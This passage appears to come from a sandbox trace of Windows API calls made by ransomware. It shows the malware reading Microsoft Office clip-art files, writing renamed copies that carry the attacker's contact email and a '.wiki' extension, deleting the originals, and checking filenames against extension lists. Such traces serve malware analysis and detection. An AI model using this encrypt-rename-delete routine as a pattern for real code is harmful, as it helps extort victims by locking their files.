lpFileSize=0x2ecff1c*=20136) returned 1 [0194.713] CloseHandle (hObject=0x220) returned 1 [0194.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 0x20 [0194.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.713] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.713] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.713] GetLastError () returned 0x0 [0194.714] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x4ea8, lpOverlapped=0x0) returned 1 [0194.737] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4eb0, lpOverlapped=0x0) returned 1 [0194.738] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.738] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.738] SetEndOfFile (hFile=0x1f4) returned 1 [0194.738] CloseHandle (hObject=0x1f4) returned 1 [0194.738] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.738] SetEndOfFile (hFile=0x220) returned 1 [0194.739] CloseHandle (hObject=0x220) returned 1 [0194.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0194.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0194.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0194.739] lstrlenW (lpString=".doc") returned 4 [0194.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.740] lstrlenW (lpString=".docx") returned 5 [0194.740] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.740] lstrlenW (lpString=".pdf") returned 4 [0194.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.740] lstrlenW (lpString=".xls") returned 4 [0194.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.740] lstrlenW (lpString=".xlsx") returned 5 [0194.740] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.740] lstrlenW (lpString=".ppt") returned 4 [0194.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0194.740] lstrlenW (lpString=".zip") returned 4 [0194.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.740] lstrlenW (lpString=".rar") returned 4 [0194.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.740] lstrlenW (lpString=".bz2") returned 4 [0194.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.740] lstrlenW (lpString=".7z") returned 3 [0194.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0194.740] lstrlenW (lpString=".dbf") returned 4 [0194.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0194.740] lstrlenW (lpString=".1cd") returned 4 [0194.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0194.740] lstrlenW (lpString=".jpg") returned 4 [0194.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0194.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0194.741] lstrlenW (lpString=".doc") returned 4 [0194.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.741] lstrlenW (lpString=".docx") returned 5 [0194.741] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.741] lstrlenW (lpString=".pdf") returned 4 [0194.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.741] lstrlenW (lpString=".xls") returned 4 [0194.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.741] lstrlenW (lpString=".xlsx") returned 5 [0194.741] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.741] lstrlenW (lpString=".ppt") returned 4 [0194.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0194.741] lstrlenW (lpString=".zip") returned 4 [0194.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.741] lstrlenW (lpString=".rar") returned 4 [0194.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.741] lstrlenW (lpString=".bz2") returned 4 [0194.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.741] lstrlenW (lpString=".7z") returned 3 [0194.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0194.741] lstrlenW (lpString=".dbf") returned 4 [0194.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0194.741] lstrlenW (lpString=".1cd") returned 4 [0194.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0194.741] lstrlenW (lpString=".jpg") returned 4 [0194.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.742] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.742] lstrlenW (lpString="J0107154.WMF") returned 12 [0194.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.742] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=22300) returned 1 [0194.742] CloseHandle (hObject=0x220) returned 1 [0194.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 0x20 [0194.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.742] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.742] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.743] GetLastError () returned 0x0 [0194.743] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x571c, lpOverlapped=0x0) returned 1 [0194.798] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5720, lpOverlapped=0x0) returned 1 [0194.799] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.799] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.799] SetEndOfFile (hFile=0x1f4) returned 1 [0194.799] CloseHandle (hObject=0x1f4) returned 1 [0194.799] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.799] SetEndOfFile (hFile=0x220) returned 1 [0194.800] CloseHandle (hObject=0x220) returned 1 [0194.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0194.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0194.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0194.801] lstrlenW (lpString=".doc") returned 4 [0194.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.801] lstrlenW (lpString=".docx") returned 5 [0194.801] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.801] lstrlenW (lpString=".pdf") returned 4 [0194.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.801] lstrlenW (lpString=".xls") returned 4 [0194.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.801] lstrlenW (lpString=".xlsx") returned 5 [0194.801] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.801] lstrlenW (lpString=".ppt") returned 4 [0194.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0194.801] lstrlenW (lpString=".zip") returned 4 [0194.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.801] lstrlenW (lpString=".rar") returned 4 [0194.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.801] lstrlenW (lpString=".bz2") returned 4 [0194.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.801] lstrlenW (lpString=".7z") returned 3 [0194.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0194.801] lstrlenW (lpString=".dbf") returned 4 [0194.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0194.802] lstrlenW (lpString=".1cd") returned 4 [0194.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0194.802] lstrlenW (lpString=".jpg") returned 4 [0194.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0194.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0194.802] lstrlenW (lpString=".doc") returned 4 [0194.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.802] lstrlenW (lpString=".docx") returned 5 [0194.802] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.802] lstrlenW (lpString=".pdf") returned 4 [0194.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.802] lstrlenW (lpString=".xls") returned 4 [0194.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.802] lstrlenW (lpString=".xlsx") returned 5 [0194.802] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.802] lstrlenW (lpString=".ppt") returned 4 [0194.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0194.802] lstrlenW (lpString=".zip") returned 4 [0194.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.802] lstrlenW (lpString=".rar") returned 4 [0194.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.802] lstrlenW (lpString=".bz2") returned 4 [0194.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.802] lstrlenW (lpString=".7z") returned 3 [0194.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0194.803] lstrlenW (lpString=".dbf") returned 4 [0194.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0194.803] lstrlenW (lpString=".1cd") returned 4 [0194.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0194.803] lstrlenW (lpString=".jpg") returned 4 [0194.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.803] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.803] lstrlenW (lpString="J0107182.WMF") returned 12 [0194.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.803] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=16100) returned 1 [0194.803] CloseHandle (hObject=0x220) returned 1 [0194.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 0x20 [0194.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.804] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.804] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.804] GetLastError () returned 0x0 [0194.804] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3ee4, lpOverlapped=0x0) returned 1 [0194.831] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3ef0, lpOverlapped=0x0) returned 1 [0194.832] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.832] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.832] SetEndOfFile (hFile=0x1f4) returned 1 [0194.832] CloseHandle (hObject=0x1f4) returned 1 [0194.833] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.833] SetEndOfFile (hFile=0x220) returned 1 [0194.833] CloseHandle (hObject=0x220) returned 1 [0194.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 1 [0194.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0194.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0194.834] lstrlenW (lpString=".doc") returned 4 [0194.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.834] lstrlenW (lpString=".docx") returned 5 [0194.834] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.834] lstrlenW (lpString=".pdf") returned 4 [0194.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.834] lstrlenW (lpString=".xls") returned 4 [0194.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.834] lstrlenW (lpString=".xlsx") returned 5 [0194.834] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.834] lstrlenW (lpString=".ppt") returned 4 [0194.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0194.834] lstrlenW (lpString=".zip") returned 4 [0194.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.834] lstrlenW (lpString=".rar") returned 4 [0194.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.834] lstrlenW (lpString=".bz2") returned 4 [0194.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.834] lstrlenW (lpString=".7z") returned 3 [0194.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0194.835] lstrlenW (lpString=".dbf") returned 4 [0194.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0194.835] lstrlenW (lpString=".1cd") returned 4 [0194.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0194.835] lstrlenW (lpString=".jpg") returned 4 [0194.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0194.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0194.835] lstrlenW (lpString=".doc") returned 4 [0194.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.835] lstrlenW (lpString=".docx") returned 5 [0194.835] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.835] lstrlenW (lpString=".pdf") returned 4 [0194.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.835] lstrlenW (lpString=".xls") returned 4 [0194.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.835] lstrlenW (lpString=".xlsx") returned 5 [0194.835] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.835] lstrlenW (lpString=".ppt") returned 4 [0194.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0194.835] lstrlenW (lpString=".zip") returned 4 [0194.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.835] lstrlenW (lpString=".rar") returned 4 [0194.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.836] lstrlenW (lpString=".bz2") returned 4 [0194.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.836] lstrlenW (lpString=".7z") returned 3 [0194.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0194.836] lstrlenW (lpString=".dbf") returned 4 [0194.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0194.836] lstrlenW (lpString=".1cd") returned 4 [0194.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0194.836] lstrlenW (lpString=".jpg") returned 4 [0194.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.836] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.836] lstrlenW (lpString="J0107254.WMF") returned 12 [0194.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.837] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=20212) returned 1 [0194.837] CloseHandle (hObject=0x220) returned 1 [0194.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 0x20 [0194.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft 